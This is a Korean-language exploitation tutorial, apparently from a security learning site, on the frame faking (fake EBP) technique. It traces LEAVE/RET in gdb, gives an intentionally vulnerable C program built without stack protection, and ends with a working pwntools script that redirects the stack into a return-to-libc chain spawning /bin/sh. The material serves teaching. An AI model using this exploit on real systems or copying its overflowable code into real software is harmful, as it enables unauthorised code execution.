Excuse the ads! We need some help to keep our site up.
List
Frame faking(Fake ebp)
- Frame faking이란 가짜 스택 프레임 포인터(Stack Frame Pointer)를 만들어 프로그램의 실행 흐름을 제어하는 것입니다.
- Return Address영역 까지만 덮어쓸수 있을 경우 사용가능 합니다.
LEAVE & RET instruction
- LEAVE 명령어는 다음과 같이 동작합니다.
- RBP(EBP) 레지스터에 저장된 값을 RSP(ESP) 레지스터에 저장합니다.
- RSP(ESP) 레지스터가 가리키는 Stack영역에 값을 RBP(EBP) 레지스터에 저장합니다.
- RET 명령어는 다음과 같이 동작합니다.
- RSP(ESP) 레지스터가 가리키는 Stack영역에 값을 RIP(EIP) 레지스터에 저장합니다.
- JMP 명령어를 이용해 RIP(EIP)에 저장된 영역으로 이동합니다.
Instruction | 64 Bit | 32 Bit |
---|---|---|
LEAVE | MOV RSP, RBP POP RBP | MOV ESP, EBP POP EBP |
RET | POP RIP JMP RIP | POP EIP JMP EIP |
Example
- 아래 코드를 이용해 LEAVE & RET instruction의 동작을 확인하겠습니다.
//gcc -o test test.c #include <stdlib.h> #include <stdio.h> void vuln(int a,int b,int c,int d){ printf("%d, %d, %d, %d",a,b,c,d); } void main(int argc, char* argv[]){ vuln(1,2,3,4); }
- 다음과 같이 Break point를 설정합니다.
- 0x804843d : main() 함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후 입니다.
- 0x804840e : vuln() 함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후 입니다.
- 0x804842e : leave 명령어
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./test Reading symbols from ./test...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x08048430 <+0>: lea ecx,[esp+0x4] 0x08048434 <+4>: and esp,0xfffffff0 0x08048437 <+7>: push DWORD PTR [ecx-0x4] 0x0804843a <+10>: push ebp 0x0804843b <+11>: mov ebp,esp 0x0804843d <+13>: push ecx 0x0804843e <+14>: sub esp,0x4 0x08048441 <+17>: push 0x4 0x08048443 <+19>: push 0x3 0x08048445 <+21>: push 0x2 0x08048447 <+23>: push 0x1 0x08048449 <+25>: call 0x804840b <vuln> 0x0804844e <+30>: add esp,0x10 0x08048451 <+33>: nop 0x08048452 <+34>: mov ecx,DWORD PTR [ebp-0x4] 0x08048455 <+37>: leave 0x08048456 <+38>: lea esp,[ecx-0x4] 0x08048459 <+41>: ret End of assembler dump. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: sub esp,0x8 0x08048411 <+6>: sub esp,0xc 0x08048414 <+9>: push DWORD PTR [ebp+0x14] 0x08048417 <+12>: push DWORD PTR [ebp+0x10] 0x0804841a <+15>: push DWORD PTR [ebp+0xc] 0x0804841d <+18>: push DWORD PTR [ebp+0x8] 0x08048420 <+21>: push 0x80484e0 0x08048425 <+26>: call 0x80482e0 <printf@plt> 0x0804842a <+31>: add esp,0x20 0x0804842d <+34>: nop 0x0804842e <+35>: leave 0x0804842f <+36>: ret End of assembler dump. gdb-peda$ b *0x0804843d Breakpoint 1 at 0x804843d gdb-peda$ b *0x0804840e Breakpoint 2 at 0x804840e gdb-peda$ b *0x0804842e Breakpoint 3 at 0x804842e
다음과 같이 main() 함수에서 사용할 Frame Pointer의 내용을 확인 할 수 있습니다.
- main() 함수에서 사용할 Frame Pointer의 주소는 0xffffd588 입니다.
0xffffd588 영역에는 값이 저장되어 있지 않습니다.(0x00000000)
0xffffd58c 영역에는 Return address(0xf7e1d637)가 저장되어 있습니다.
해당 Return address는 main() 함수가 종료된 후 이동할 주소입니다.
- main() 함수에서 사용할 Frame Pointer의 주소는 0xffffd588 입니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/FrameFaking/test Breakpoint 1, 0x0804843d in main () gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ x/4wx 0xffffd588 0xffffd588: 0x00000000 0xf7e1d637 0xf7fb5000 0xf7fb5000 gdb-peda$ x/i 0xf7e1d637 0xf7e1d637 <__libc_start_main+247>: add esp,0x10 gdb-peda$
- 다음과 같이 vuln() 함수에서 사용할 Frame Pointer의 내용을 확인 할 수 있습니다.
- vuln() 함수에서 사용할 Frame Pointer의 주소는 0xffffd568 입니다.
0xffffd568 영역에는 main함수에서 사용하던 Frame Pointer의 주소 값(0xffffd588)이 저장되어 있습니다.
0xffffd56c 영역에는 Return address(0x0804844e)가 저장되어 있습니다.
해당 Return address는 vuln() 함수가 종료된 후 이동할 주소입니다.
- vuln() 함수에서 사용할 Frame Pointer의 주소는 0xffffd568 입니다.
gdb-peda$ c Continuing. Breakpoint 2, 0x0804840e in vuln () gdb-peda$ i r ebp ebp 0xffffd568 0xffffd568 gdb-peda$ x/8wx 0xffffd568 0xffffd568: 0xffffd588 0x0804844e 0x00000001 0x00000002 0xffffd578: 0x00000003 0x00000004 0xf7fb53dc 0xffffd5a0 gdb-peda$
- 다음과 같이 leave 명령어의 동작을 확인 할 수 있습니다.
- vuln() 함수에서 사용하던 Frame Pointer의 주소를 ESP에 저장합니다.
- ESP 레지스터에 저장된 Stack 영역에서 값을 추출해서 EBP 레지스터에 저장합니다.
- 즉, main() 함수에서 사용하던 Frame Pointer의 주소를 EBP에 저장합니다.
- vuln() 함수에서 사용하던 Frame Pointer의 주소를 ESP에 저장합니다.
Instruction | ESP | EBP | Stack data | |
---|---|---|---|---|
leave 명령어 실행 전 | 0xffffd560 | 0xffffd568 | 0x1 | 0x0 |
leave 명령어 - MOV ESP, EBP | 0xffffd568 | 0xffffd568 | 0xffffd588 | 0x0804844e |
leave 명령어 - POP EBP | 0xffffd56c | 0xffffd588 | 0x0804844e | 0x1 |
gdb-peda$ c Continuing. Breakpoint 3, 0x0804842e in vuln () gdb-peda$ i r esp esp 0xffffd560 0xffffd560 gdb-peda$ i r ebp ebp 0xffffd568 0xffffd568 gdb-peda$ x/2wx 0xffffd560 0xffffd560: 0x00000001 0x00000000 gdb-peda$ x/2wx 0xffffd568 0xffffd568: 0xffffd588 0x0804844e gdb-peda$ ni 0x0804842f in vuln () gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ i r esp esp 0xffffd56c 0xffffd56c gdb-peda$
- 다음과 같이 ret 명령어의 동작을 확인 할 수 있습니다.
- ESP 레지스터에 저장된 Stack 영역에서 값을 추출해서 EIP 레지스터에 저장합니다.
- EIP 레지스터에 저장된 값으로 이동합니다.
- ESP 레지스터에 저장된 Stack 영역에서 값을 추출해서 EIP 레지스터에 저장합니다.
Instruction | EIP | ESP | EBP | Stack data | |
---|---|---|---|---|---|
ret 명령어 실행 전 | 0x0804842f | 0xffffd56c | 0xffffd588 | 0x0804844e | 0x1 |
ret 명령어 - POP EIP | 0x0804844e | 0xffffd570 | 0xffffd588 | 0x1 | 0x2 |
ret 명령어 - JMP EIP | 0x0804844e | 0xffffd570 | 0xffffd588 | 0x1 | 0x2 |
0x0804842f in vuln () gdb-peda$ i r eip eip 0x804842f 0x804842f <vuln+36> gdb-peda$ i r esp esp 0xffffd56c 0xffffd56c gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ x/2wx 0xffffd56c 0xffffd56c: 0x0804844e 0x00000001 gdb-peda$ ni 0x0804844e in main () gdb-peda$ i r esp esp 0xffffd570 0xffffd570 gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ x/2wx 0xffffd570 0xffffd570: 0x00000001 0x00000002 gdb-peda$
Proof of concept
Example code
- 다음 코드를 이용하여 Frame faking의 동작을 확인하겠습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
- Stack address: buf
- Libc address: printf_addr
- read()함수를 이용해 사용자로 부터 70개의 문자를 입력 받습니다.
- 이로 인해 Return address영역까지만 값을 덮어쓸 수 있습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
//gcc -m32 -fno-stack-protector -o ff ff.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; printf("buf[50] address : %p\n",buf); void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 70); } void main(){ vuln(); }
Overwriting the RBP, EBP
다음과 같이 Breakpoint 설정 및 Stack overflow를 진행 합니다.
0x08048571: vuln() 함수의 leave 명령어
- 문자 70개를 입력하여 Frame Pointer, Return Address 영역을 덮어 씁니다.
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./ff Reading symbols from ./ff...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804851b <+0>: push ebp 0x0804851c <+1>: mov ebp,esp 0x0804851e <+3>: sub esp,0x48 0x08048521 <+6>: sub esp,0x8 0x08048524 <+9>: lea eax,[ebp-0x3e] 0x08048527 <+12>: push eax 0x08048528 <+13>: push 0x8048620 0x0804852d <+18>: call 0x80483e0 <printf@plt> 0x08048532 <+23>: add esp,0x10 0x08048535 <+26>: sub esp,0x8 0x08048538 <+29>: push 0x8048636 0x0804853d <+34>: push 0xffffffff 0x0804853f <+36>: call 0x8048400 <dlsym@plt> 0x08048544 <+41>: add esp,0x10 0x08048547 <+44>: mov DWORD PTR [ebp-0xc],eax 0x0804854a <+47>: sub esp,0x8 0x0804854d <+50>: push DWORD PTR [ebp-0xc] 0x08048550 <+53>: push 0x804863d 0x08048555 <+58>: call 0x80483e0 <printf@plt> 0x0804855a <+63>: add esp,0x10 0x0804855d <+66>: sub esp,0x4 0x08048560 <+69>: push 0x46 0x08048562 <+71>: lea eax,[ebp-0x3e] 0x08048565 <+74>: push eax 0x08048566 <+75>: push 0x0 0x08048568 <+77>: call 0x80483d0 <read@plt> 0x0804856d <+82>: add esp,0x10 0x08048570 <+85>: nop 0x08048571 <+86>: leave 0x08048572 <+87>: ret End of assembler dump. gdb-peda$ b *0x08048571 Breakpoint 1 at 0x8048571 gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/FrameFaking/ff buf[50] address : 0xffffd57a Printf() address : 0xf7e4d020 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRR
- 다음과 같이 leave 명령어의 동작을 확인 할 수 있습니다.
- vuln() 함수에서 사용하던 Frame Pointer의 주소(0xffffd5b8)를 ESP에 저장합니다.
- ESP 레지스터에 저장된 Stack 영역(0xffffd5b8)에서 값을 추출해서 EBP 레지스터에 저장합니다.
- 원래 main() 함수에서 사용하던 Frame Pointer의 주소를 EBP에 저장되어야 합니다.
- 하지만 해당 영역은 Overflow에 의해 0x51515050(QQPP)으로 변경됩니다.
- vuln() 함수에서 사용하던 Frame Pointer의 주소(0xffffd5b8)를 ESP에 저장합니다.
Instruction | ESP | EBP | Stack data | |
---|---|---|---|---|
leave 명령어 실행 전 | 0xffffd570 | 0xffffd5b8 | 0x00000000 | 0xffffd614 |
leave 명령어 - MOV ESP, EBP | 0xffffd5b8 | 0xffffd5b8 | 0x51515050 | 0x52525151 |
leave 명령어 - POP EBP | 0xffffd5bc | 0x51515050 | 0x52525151 | 0xf7fb43dc |
Breakpoint 1, 0x08048571 in vuln () gdb-peda$ gdb-peda$ i r esp esp 0xffffd570 0xffffd570 gdb-peda$ i r ebp ebp 0xffffd5b8 0xffffd5b8 gdb-peda$ x/2wx 0xffffd570 0xffffd570: 0x00000000 0xffffd614 gdb-peda$ x/2wx 0xffffd5b8 0xffffd5b8: 0x51515050 0x52525151 gdb-peda$ ni 0x08048572 in vuln () gdb-peda$ i r esp esp 0xffffd5bc 0xffffd5bc gdb-peda$ i r ebp ebp 0x51515050 0x51515050 gdb-peda$ x/2wx 0xffffd5bc 0xffffd5bc: 0x52525151 0xf7fb43dc gdb-peda$
- 다음과 같이 Frame faking을 확인하기 위해 Return address영역에 leave 명령어가 저장된 주소를 저장합니다.
gdb-peda$ set *0xffffd5bc = 0x8048571 gdb-peda$ x/wx 0xffffd5bc 0xffffd5bc: 0x08048571 gdb-peda$
- 다음과 같이 leave 명령어의 동작을 확인 할 수 있습니다.
- Overflow에 의해 변경된 Frame Pointer의 주소(0x51515050)를 ESP에 저장합니다.
- 즉, leave 명령어가 다시 호출됨으로 써 ESP 레지스터의 값을 변경 할 수 있으며, 이로 인해 코드의 흐름도 변경 할 수 있습니다.
Instruction | ESP | EBP | Stack data | |
---|---|---|---|---|
leave 명령어 실행 전 | 0xffffd5c0 | 0x51515050 | 0xf7fb43dc | 0xffffd5e0 |
leave 명령어 - MOV ESP, EBP | 0x51515050 | 0x51515050 | - | - |
leave 명령어 - POP EBP | - | - | - | - |
gdb-peda$ ni Breakpoint 1, 0x08048571 in vuln () gdb-peda$ i r esp esp 0xffffd5c0 0xffffd5c0 gdb-peda$ i r ebp ebp 0x51515050 0x51515050 gdb-peda$ x/2wx 0xffffd5c0 0xffffd5c0: 0xf7fb43dc 0xffffd5e0 gdb-peda$ x/2wx 0x51515050 0x51515050: Cannot access memory at address 0x51515050 gdb-peda$ ni Program received signal SIGSEGV, Segmentation fault.
Poc
- 다음과 같이 Stack 영역을 덮어써서 Frame faking을 사용할 수 있습니다.
- Frame Pointer 영역 : "RTL 코드가 저장되어 있는 주소 - 0x4" 주소를 저장
- Return Address 영역 : leave 명령어가 저장되어 있는 주소를 저장
- Frame Pointer 영역 : "RTL 코드가 저장되어 있는 주소 - 0x4" 주소를 저장
buf[0] | 0x90909090 |
---|---|
buf[4] | The printf function address inlibc |
buf[8] | The exit function address in libc |
buf[12] | "/bin/sh" address |
~ | ~ |
Frame Pointer | buf[0] Stack Address |
Return Address | leave instruction |
- 앞에서 작성한 Frame faking structure는 다음과 같이 동작합니다.
- Return Address에 의해 leave 명령어를 다시 실행합니다.
- EBP 레지스터에 Stack Overflow로 인해 "RTL 코드가 저장되어 있는 주소 + 0x4" 주소 값(0xffffd53a)이 저장되어 있습니다.
- 해당 값은 ESP 레지스터에 저장되며, ESP 레지스터에 저장된 주소에서 값을 추출해 EBP 레지스터에 저장(0x90909090)합니다.
- POP 명령에 의해 ESP의 값이 0x4 증가 합니다.(0xffffd542)
- leave 명령어 실행 후 ret 명령어를 실행합니다.
- ESP 레지스터는 RTL 코드가 저장된 영역을 가리킵니다.
- system 함수의 주소를 EIP에 저장됩니다.
- 즉, RTL이 동작하게 됩니다.
- Return Address에 의해 leave 명령어를 다시 실행합니다.
Instruction | EIP | ESP | EBP | Stack data | |||
---|---|---|---|---|---|---|---|
leave 명령어 실행 전 | 0x8048571 | 0xffffd580 | 0xffffd53a | 0xf7fb03dc | 0xffffd5a0 | 0x00000000 | 0xf7e18637 |
leave 명령어 - MOV ESP, EBP | 0x8048571 | 0xffffd53a | 0xffffd53a | 0x90909090 | system | exit | binsh |
leave 명령어 - POP EBP | 0x8048571 | 0xffffd53e | 0x90909090 | system | exit | binsh | 0x90909090 |
ret 명령어 - POP EIP | system | 0xffffd542 | 0x90909090 | exit | binsh | 0x90909090 | 0x90909090 |
ret 명령어 - JMP EIP | system | 0xffffd542 | 0x90909090 | exit | binsh | 0x90909090 | 0x90909090 |
Exploit
from pwn import * p = process('./ff') p.recvuntil('buf[50] address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) p.recvuntil('Printf() address : ') libc = p.recvuntil('\n') libc = int(libc,16) leave = 0x08048571 libcBase = libc - 0x49020 sysAddr = libcBase + 0x3a940 exit = libcBase + 0x2e7b0 binsh = libcBase + 0x15902b print "stackAddr : " + hex(stackAddr) print "libc base : " + hex(libcBase) print "system() : " +hex(sysAddr) print "exit() : " +hex(exit) print "binsh : " + hex(binsh) exploit = p32(0x90909090) exploit += p32(sysAddr) exploit += p32(exit) exploit += p32(binsh) exploit += '\x90' * (62 - len(exploit)) exploit += p32(stackAddr) exploit += p32(leave) p.send(exploit) p.interactive()
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ python Exploit.py [+] Starting local process './ff': pid 3294 stackAddr : 0xff7fd0ea libc base : 0xf7d72000 system() : 0xf7dac940 exit() : 0xf7da07b0 binsh : 0xf7ecb02b [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $